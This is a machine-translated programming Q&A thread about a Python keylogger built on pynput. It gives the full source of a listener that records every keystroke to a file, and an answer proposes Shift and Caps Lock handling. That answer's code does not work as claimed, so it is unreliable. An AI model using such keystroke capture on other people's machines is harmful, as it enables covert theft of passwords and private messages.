【问题标题】:Python : keylogger with case sensitive "Python:区分大小写的键盘记录器“
【发布时间】:2019-10-30 17:11:47
【问题描述】:

我正在 python 中创建一个键盘记录器,事情是

问题案例:

it didn't capture as a **word/sentence**

no **case sensitive**.

记录器源代码

from pynput.keyboard import Key, Listener
import logging

#log file path
log_path=""

logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s' ) 

def btn_press(key):
    logging.info(key)


with Listener(on_press=btn_press) as listene:
    listene.join()

测试用例:

“你好记录仪”

日志文件/输出

'h'

'e'

'l'

'l'

'o'

'l'

'o'

'g'

'g'

'e'

'r'

**预期结果应该是

日志文件/输出**

你好记录器

任何改进此功能的修改

【问题讨论】:

  • 您必须检测到按下 shift/caps lock 并采取相应措施。
  • 顺便说一句,已经有一个键盘记录程序包:pypi.org/project/keylogger

标签: python keylogger


【解决方案1】:

为了改进它,您可以使用属性检查大写锁定是否打开:caps_lock 或者在使用方法记录字母之前是否按下了任何 shift 键:shift_pressed 或者您可以使用属性 :shift 这是一个通用修饰符识别是否按下了任何 shift 键。

修饰符并不能真正确定键是否被物理按下,因为它们在控制器内部使用,但这可能是一种确定是否被按下或属性是否设置为 1 或 True 的方法。

from pynput.keyboard import Key, Listener
import logging
#log file path
log_path=""

logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG,format='%(asctime)s: %(message)s' ) 

def btn_press(key):
    if Key.caps_lock == 1 or Key.shift == 1:
        # set the key value to upper
        # your code here
        key.upper()
    logging.info(key)


with Listener(on_press=btn_press) as listene:
    listene.join()

欲了解更多信息,请:check the documentation even if it's not very well covered, it might help you

【讨论】:

  • 嗯,这是一个很好的逻辑,但是符号(shift+1=>!)呢,以及任何关于在句子中获取它的想法。
  • 这就是我在评论中所说的('您的代码在这里'),您应该检查密钥不是符号,在文档中,类 Key 具有所有备用键的标志'不代表一个字符也不是一个数字。
  • 老实说,键盘记录器需要的不仅仅是这些,它需要涵盖更多的功能,你只是在记录所有出现的东西,如果你想记录复杂的功能,它也应该记录将其用于安全目的。
  • 类似的功能?
  • 同样,当您进行键盘记录时,它会逐个字符进行,因此您应该创建该代码以便将字符连接到一个句子中,并且需要检查空格、标点符号、符号、特殊字符等。
猜你喜欢
  • 1970-01-01
  • 2014-08-13
  • 1970-01-01
  • 2023-03-07
  • 1970-01-01
  • 2014-02-02
  • 1970-01-01
  • 1970-01-01
  • 2012-12-09
相关资源
最近更新 更多